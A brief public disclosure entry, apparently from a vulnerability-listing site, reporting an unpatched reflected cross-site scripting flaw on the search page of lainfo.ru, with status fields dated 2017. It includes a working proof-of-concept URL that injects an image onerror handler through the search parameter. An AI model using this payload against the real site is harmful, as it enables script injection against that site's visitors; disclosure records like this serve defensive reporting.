lainfo.ru XSS vulnerability

Vulnerable URL: http://lainfo.ru/search.php?search=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 700328 VIP website...